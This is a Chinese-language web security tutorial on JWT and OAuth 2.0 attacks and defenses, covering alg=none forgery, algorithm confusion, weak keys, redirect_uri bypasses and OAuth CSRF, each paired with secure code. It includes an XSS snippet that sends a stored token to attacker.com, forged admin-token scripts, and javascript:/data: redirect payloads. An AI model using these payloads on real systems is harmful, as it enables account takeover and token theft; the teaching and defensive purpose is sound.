Day-094-JWT 与 OAuth2 安全

# Day 92: JWT 与 OAuth 2.0 安全 - 令牌漏洞/认证攻击/防护方案

> Web 安全系列第 62 天 | 预计阅读时间：35 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [JWT 基础](#jwt-基础)
2. [JWT 常见漏洞](#jwt-常见漏洞)
3. [OAuth 2.0 流程](#oauth-20-流程)
4. [OAuth 漏洞](#oauth-漏洞)
5. [OpenID Connect 安全](#openid-connect-安全)
6. [防护方案](#防护方案)
7. [实战案例](#实战案例)
8. [总结与思考](#总结与思考)
9. [参考资料](#参考资料)

---

## JWT 基础

### JWT 结构

**JWT 组成**：
```
JWT = Header.Payload.Signature

Header (头部):
{
  "alg": "HS256",
  "typ": "JWT"
}

Payload (载荷):
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622
}

Signature (签名):
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)
```

**编码示例**：
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

### JWT 使用场景

**认证流程**：
```
1. 用户登录
2. 服务器验证凭证
3. 生成 JWT 返回给客户端
4. 客户端存储 JWT (localStorage/cookie)
5. 后续请求携带 JWT
6. 服务器验证 JWT 有效性
```

**令牌类型**：
```
Access Token:
- 短期有效 (15 分钟 -1 小时)
- 用于 API 访问
- 可被刷新

Refresh Token:
- 长期有效 (7 天 -30 天)
- 用于获取新 Access Token
- 需要安全存储
```

---

## JWT 常见漏洞

### 算法漏洞

**alg=none 攻击**：
```
攻击原理:
- 将算法改为 none
- 删除签名部分
- 服务器可能接受无签名令牌

攻击 payload:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
(空签名)

防护:
- 明确指定允许的算法
- 拒绝 none 算法
- 验证签名存在
```

**算法混淆攻击**：
```
攻击原理:
- 服务器期望 RS256 (非对称)
- 攻击者使用 HS256 (对称)
- 使用公钥作为 HMAC 密钥

攻击步骤:
1. 获取服务器公钥
2. 用公钥作为 HMAC 密钥签名
3. 将 alg 改为 HS256
4. 服务器用公钥验证 HMAC 签名 (成功)

防护:
- 明确指定算法类型
- 不接受算法切换
- 验证密钥类型匹配
```

### 密钥漏洞

**弱密钥攻击**：
```
常见弱密钥:
- secret
- password
- jwt_secret
- your-256-bit-secret

暴力破解:
- 字典攻击
- 常见密钥尝试
- 短密钥穷举

防护:
- 使用强随机密钥 (256 位+)
- 定期轮换密钥
- 密钥长度检查
```

**密钥泄露**：
```
泄露途径:
- GitHub 代码泄露
- 配置文件暴露
- 日志记录令牌
- 错误信息泄露

防护:
- 使用环境变量
- 密钥管理服务 (KMS)
- 不记录完整令牌
- 错误信息脱敏
```

### 验证漏洞

**过期时间忽略**：
```javascript
// 危险代码 - 未验证过期
function verifyToken(token) {
  const decoded = jwt.decode(token);  // 仅解码，不验证
  return decoded;
}

// 正确代码
function verifyToken(token) {
  const decoded = jwt.verify(token, secret, {
    algorithms: ['HS256'],
    clockTolerance: 30  // 30 秒容差
  });
  return decoded;
}
```

**签发时间验证缺失**：
```javascript
// 应验证的声明
const options = {
  algorithms: ['HS256'],
  issuer: 'https://auth.example.com',
  audience: 'https://api.example.com',
  clockTolerance: 30,
  maxAge: '1h'
};

jwt.verify(token, secret, options);
```

### 存储漏洞

**XSS 窃取**：
```javascript
// 危险存储 - localStorage
localStorage.setItem('token', jwt);

// XSS 攻击窃取
<script>
  const token = localStorage.getItem('token');
  fetch('https://attacker.com/steal?t=' + token);
</script>

// 安全存储 - HttpOnly Cookie
res.cookie('token', jwt, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});
```

**CSRF 攻击**：
```
危险配置:
- Cookie 存储 JWT
- 无 CSRF 保护
- 自动包含凭证

防护:
- 使用 SameSite=Strict
- 添加 CSRF Token
- 验证 Origin 头
```

---

## OAuth 2.0 流程

### 授权码流程

**标准流程**：
```
┌─────────┐    ┌─────────┐    ┌─────────┐    ┌─────────┐
│  用户   │    │  客户端  │    │ 授权服务器│    │ 资源服务器│
└────┬────┘    └────┬────┘    └────┬────┘    └────┬────┘
     │              │              │              │
     │  1. 访问客户端              │              │
     │─────────────>│              │              │
     │              │              │              │
     │              │  2. 重定向到授权服务器      │
     │              │─────────────>│              │
     │              │              │              │
     │  3. 登录并授权              │              │
     │────────────────────────────>│              │
     │              │              │              │
     │  4. 重定向回客户端 (带 code)│              │
     │<────────────────────────────│              │
     │              │              │              │
     │              │  5. 用 code 换 token        │
     │              │─────────────>│              │
     │              │              │              │
     │              │  6. 返回 access_token       │
     │              │<─────────────│              │
     │              │              │              │
     │              │  7. 访问资源 (带 token)     │
     │              │────────────────────────────>│
     │              │              │              │
     │              │  8. 返回受保护资源          │
     │              │<────────────────────────────│
```

### 隐式流程

**流程说明**：
```
适用场景:
- 单页应用 (SPA)
- 无后端服务器
- 浏览器环境

流程:
1. 重定向到授权服务器
2. 用户登录授权
3. 直接返回 access_token (URL fragment)
4. 客户端从 URL 提取 token

安全问题:
- token 暴露在 URL 中
- 浏览器历史泄露
- Referer 头泄露
- 无 refresh token

建议:
- 使用授权码 + PKCE
- 避免隐式流程
```

### 授权码 + PKCE

**PKCE (Proof Key for Code Exchange)**：
```
流程:
1. 客户端生成 code_verifier (随机字符串)
2. 计算 code_challenge = SHA256(code_verifier)
3. 授权请求携带 code_challenge
4. 授权服务器存储 challenge
5. token 请求携带 code_verifier
6. 服务器验证 verifier 匹配 challenge

防护:
- 防止授权码劫持
- 无密钥客户端安全
- 移动应用推荐
```

**实现示例**：
```javascript
// 生成 PKCE 参数
function generatePKCE() {
  const verifier = generateRandomString(64);
  const challenge = sha256(verifier);
  
  return {
    code_verifier: verifier,
    code_challenge: challenge,
    code_challenge_method: 'S256'
  };
}

// 授权请求
const authUrl = `https://auth.example.com/authorize?
  response_type=code&
  client_id=${clientId}&
  redirect_uri=${redirectUri}&
  code_challenge=${pkce.code_challenge}&
  code_challenge_method=S256`;

// Token 请求
const tokenResponse = await fetch('/oauth/token', {
  method: 'POST',
  body: {
    grant_type: 'authorization_code',
    code: authCode,
    code_verifier: pkce.code_verifier
  }
});
```

---

## OAuth 漏洞

### 重定向 URI 漏洞

**开放重定向**：
```
漏洞场景:
授权服务器未严格验证 redirect_uri

攻击:
GET /authorize?
  client_id=valid_app&
  redirect_uri=https://attacker.com/steal&
  response_type=code

攻击流程:
1. 用户被引导到授权页面
2. 用户授权
3. code 发送到攻击者服务器
4. 攻击者用 code 换取 token
5. 攻击者获得用户授权

防护:
- 预注册 redirect_uri
- 精确匹配验证
- 禁止通配符
- 禁止 URL 参数
```

**重定向 URI 绕过**：
```
常见绕过:
- https://attacker.com%2F@valid.com
- https://valid.com.evil.com
- https://valid.com/redirect?url=evil.com
- javascript:alert(1)
- data:text/html,<script>alert(1)</script>

防护:
- 严格 URL 解析
- 白名单匹配
- 禁止 javascript:/data: 协议
- 验证完整 URL
```

### CSRF 攻击

**OAuth CSRF**：
```
攻击流程:
1. 攻击者发起授权请求
2. 获取 authorization_code
3. 诱导受害者点击恶意链接
4. 受害者登录并授权
5. code 发送到攻击者服务器
6. 攻击者换取 access_token
7. 攻击者获得受害者授权

防护:
- 使用 state 参数
- 验证 state 匹配
- state 绑定用户会话
- 一次性 state
```

**State 参数实现**：
```javascript
// 生成 state
const state = crypto.randomBytes(32).toString('hex');
session.oauthState = state;

// 授权请求
const authUrl = `https://auth.example.com/authorize?
  client_id=${clientId}&
  redirect_uri=${redirectUri}&
  state=${state}`;

// 回调验证
function handleCallback(req) {
  const { state: receivedState, code } = req.query;
  
  if (receivedState !== session.oauthState) {
    throw new Error('CSRF detected');
  }
  
  // 清除 state (一次性使用)
  delete session.oauthState;
  
  // 继续 token 交换
}
```

### 令牌泄露

**访问令牌泄露**：
```
泄露途径:
- URL 参数
- Referer 头
- 浏览器历史
- 日志记录
- 第三方库

防护:
- 使用 POST 传输 token
- 设置 Referrer-Policy
- 不记录完整 token
- 短期有效期
```

**刷新令牌泄露**：
```
刷新令牌风险:
- 长期有效
- 可获取新 access_token
- 需要更高保护

防护:
- HttpOnly + Secure Cookie
- 绑定设备指纹
- 刷新令牌轮换
- 可撤销机制
```

### 权限范围滥用

**范围过度**：
```
问题:
- 请求过多权限
- 用户不理解权限
- 权限未最小化

示例:
scope=read write delete admin  # 过度

应该:
scope=read  # 最小权限

防护:
- 最小权限原则
- 清晰权限描述
- 按需请求
- 定期审查
```

---

## OpenID Connect 安全

### OIDC 基础

**OIDC 与 OAuth 关系**：
```
OAuth 2.0: 授权框架
OpenID Connect: 身份层 (基于 OAuth 2.0)

OIDC 新增:
- ID Token (用户身份信息)
- UserInfo 端点
- 标准化声明
```

**ID Token**：
```json
{
  "iss": "https://auth.example.com",
  "sub": "1234567890",
  "aud": "client_id",
  "exp": 1516242622,
  "iat": 1516239022,
  "nonce": "random_nonce",
  "auth_time": 1516238622,
  "acr": "urn:mace:incommon:iap:silver"
}
```

### nonce 攻击防护

**nonce 作用**：
```
目的:
- 防止重放攻击
- 关联认证请求和响应
- 验证 ID Token 新鲜度

流程:
1. 认证请求生成 nonce
2. 存储在会话
3. ID Token 返回相同 nonce
4. 验证 nonce 匹配
```

**实现**：
```javascript
// 生成 nonce
const nonce = crypto.randomBytes(32).toString('hex');
session.oidcNonce = nonce;

// 认证请求
const authUrl = `https://auth.example.com/authorize?
  response_type=id_token token&
  client_id=${clientId}&
  nonce=${nonce}`;

// 验证 ID Token
function verifyIdToken(idToken) {
  const decoded = jwt.verify(idToken, publicKey);
  
  if (decoded.nonce !== session.oidcNonce) {
    throw new Error('Invalid nonce');
  }
  
  delete session.oidcNonce;  // 一次性使用
}
```

---

## 防护方案

### JWT 安全最佳实践

**生成安全**：
```javascript
const jwt = require('jsonwebtoken');

function generateToken(user) {
  return jwt.sign(
    {
      sub: user.id,
      email: user.email,
      role: user.role
    },
    process.env.JWT_SECRET,  // 强密钥
    {
      algorithm: 'HS256',  // 明确算法
      expiresIn: '1h',     // 短期有效
      issuer: 'https://auth.example.com',
      audience: 'https://api.example.com'
    }
  );
}
```

**验证安全**：
```javascript
function verifyToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],  // 限定算法
      issuer: 'https://auth.example.com',
      audience: 'https://api.example.com',
      clockTolerance: 30,     // 30 秒容差
      maxAge: '1h'           // 最大有效期
    });
  } catch (error) {
    logger.warn('Token verification failed', { error: error.message });
    throw new Error('Invalid token');
  }
}
```

**存储安全**：
```javascript
// 推荐：HttpOnly Cookie
res.cookie('access_token', token, {
  httpOnly: true,      // 防止 XSS
  secure: true,        // 仅 HTTPS
  sameSite: 'strict',  // 防止 CSRF
  maxAge: 3600000      // 1 小时
});

// 或使用 localStorage + 额外保护
// 需要实施 CSRF 防护
```

### OAuth 安全最佳实践

**客户端安全**：
```
1. 使用授权码 + PKCE
2. 预注册 redirect_uri
3. 实施 state 参数
4. 最小权限范围
5. 安全存储凭证
```

**服务端安全**：
```
1. 验证 redirect_uri 精确匹配
2. 强制 state 参数验证
3. 实施 PKCE (公共客户端)
4. 令牌轮换机制
5. 令牌撤销支持
6. 完整的审计日志
```

**令牌管理**：
```javascript
// 令牌轮换
async function refreshAccessToken(refreshToken) {
  // 验证刷新令牌
  const valid = await validateRefreshToken(refreshToken);
  
  if (!valid) {
    throw new Error('Invalid refresh token');
  }
  
  // 生成新令牌对
  const newAccessToken = generateAccessToken(user);
  const newRefreshToken = generateRefreshToken(user);
  
  // 使旧刷新令牌失效 (轮换)
  await invalidateRefreshToken(refreshToken);
  
  return {
    access_token: newAccessToken,
    refresh_token: newRefreshToken
  };
}
```

---

## 实战案例

### 案例 1: JWT alg=none 漏洞

**漏洞场景**：
```
目标：某 API 服务
漏洞：未验证签名算法
影响：任意用户身份伪造
```

**攻击过程**：
```javascript
// 1. 获取合法 JWT
const validToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";

// 2. 修改头部为 none
const header = { alg: "none", typ: "JWT" };
const payload = { sub: "admin", role: "admin" };

// 3. 重新编码
const newToken = 
  base64UrlEncode(JSON.stringify(header)) + '.' +
  base64UrlEncode(JSON.stringify(payload)) + '.';

// 4. 使用伪造令牌访问
fetch('/api/admin/users', {
  headers: { Authorization: `Bearer ${newToken}` }
});

// 结果：获得管理员权限
```

**修复方案**：
```javascript
// 明确指定算法
const options = {
  algorithms: ['HS256'],  // 只接受 HS256
  issuer: 'https://auth.example.com'
};

jwt.verify(token, secret, options);

// 拒绝 none 算法
if (decoded.header.alg === 'none') {
  throw new Error('Algorithm none not allowed');
}
```

### 案例 2: OAuth 重定向 URI 绕过

**漏洞场景**：
```
目标：OAuth 授权服务器
漏洞：redirect_uri 验证不严格
影响：授权码劫持
```

**攻击过程**：
```
注册的重定向 URI:
https://app.example.com/callback

攻击者请求:
https://auth.example.com/authorize?
  client_id=valid_app&
  redirect_uri=https://attacker.com%2F@app.example.com&
  response_type=code

验证逻辑 (有漏洞):
if (redirectUri.includes('app.example.com')) {
  // 验证通过 (错误!)
}

攻击结果:
- 用户授权后重定向到 attacker.com
- 攻击者获取 authorization_code
- 换取 access_token
- 获得用户授权
```

**修复方案**：
```javascript
// 严格验证 redirect_uri
function validateRedirectUri(clientId, redirectUri) {
  const registeredUris = getRegisteredUris(clientId);
  
  // 精确匹配
  if (!registeredUris.includes(redirectUri)) {
    throw new Error('Invalid redirect_uri');
  }
  
  // URL 解析验证
  const parsed = new URL(redirectUri);
  
  // 禁止危险协议
  if (['javascript:', 'data:', 'vbscript:'].includes(parsed.protocol)) {
    throw new Error('Invalid protocol');
  }
  
  // 禁止 IP 地址
  if (isIPAddress(parsed.hostname)) {
    throw new Error('IP addresses not allowed');
  }
  
  return true;
}
```

### 案例 3: JWT 密钥泄露

**漏洞场景**：
```
目标：某 Web 应用
漏洞：JWT 密钥提交到 GitHub
影响：所有用户令牌可伪造
```

**攻击过程**：
```javascript
// 1. 发现 GitHub 泄露的密钥
// 在公开仓库中找到:
const JWT_SECRET = "my_super_secret_jwt_key_123";

// 2. 伪造管理员令牌
const adminToken = jwt.sign(
  { sub: "1", email: "admin@example.com", role: "admin" },
  JWT_SECRET,
  { algorithm: 'HS256' }
);

// 3. 使用伪造令牌
// 完全控制应用
```

**修复方案**：
```javascript
// 1. 立即轮换密钥
const NEW_SECRET = crypto.randomBytes(32).toString('hex');

// 2. 使用密钥管理服务
const kms = new AWS.KMS();
const secret = await kms.decrypt({
  CiphertextBlob: process.env.ENCRYPTED_JWT_SECRET
}).promise();

// 3. 实施密钥轮换策略
const keyId = getCurrentKeyId();  // 密钥版本
const token = jwt.sign(payload, getSecret(keyId), {
  keyid: keyId  // 在 header 中标识密钥版本
});

// 4. 验证时尝试多个密钥版本
function verifyToken(token) {
  const header = jwt.decode(token, { complete: true });
  const keyId = header.header.kid || 'default';
  const secret = getSecret(keyId);
  return jwt.verify(token, secret);
}
```

---

## 总结与思考

### 核心要点回顾

1. **JWT 基础**：结构、使用场景、令牌类型
2. **JWT 漏洞**：算法漏洞、密钥漏洞、验证漏洞、存储漏洞
3. **OAuth 流程**：授权码、隐式、PKCE
4. **OAuth 漏洞**：重定向 URI、CSRF、令牌泄露、权限滥用
5. **OIDC 安全**：ID Token、nonce 防护
6. **防护方案**：JWT 最佳实践、OAuth 最佳实践
7. **实战案例**：alg=none、重定向绕过、密钥泄露

### 深入思考

**认证安全挑战**：
- 便利性与安全性平衡
- 无状态 vs 会话管理
- 第三方依赖风险

**未来趋势**：
- FIDO2/WebAuthn 无密码认证
- 去中心化身份 (DID)
- 零信任架构
- 持续认证

### 最佳实践清单

**JWT**：
- [ ] 使用强随机密钥 (256 位+)
- [ ] 明确指定算法
- [ ] 设置合理过期时间
- [ ] 使用 HttpOnly Cookie 存储
- [ ] 实施密钥轮换
- [ ] 验证所有声明 (iss, aud, exp, iat)

**OAuth**：
- [ ] 使用授权码 + PKCE
- [ ] 预注册 redirect_uri
- [ ] 强制 state 参数
- [ ] 最小权限范围
- [ ] 实施令牌轮换
- [ ] 提供令牌撤销
- [ ] 完整审计日志

---

## 参考资料

### 学习资源

- **RFC 7519**: JWT 标准
- **RFC 6749**: OAuth 2.0 框架
- **OpenID Connect**: https://openid.net/connect/
- **OWASP JWT Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html

### 工具资源

- **jwt.io**: JWT 调试工具
- **jsonwebtoken (Node.js)**: https://github.com/auth0/node-jsonwebtoken
- **PyJWT (Python)**: https://pyjwt.readthedocs.io

---

*Day 92 完成 | JWT 与 OAuth 2.0 安全详解 | 字数：约 20,000 字*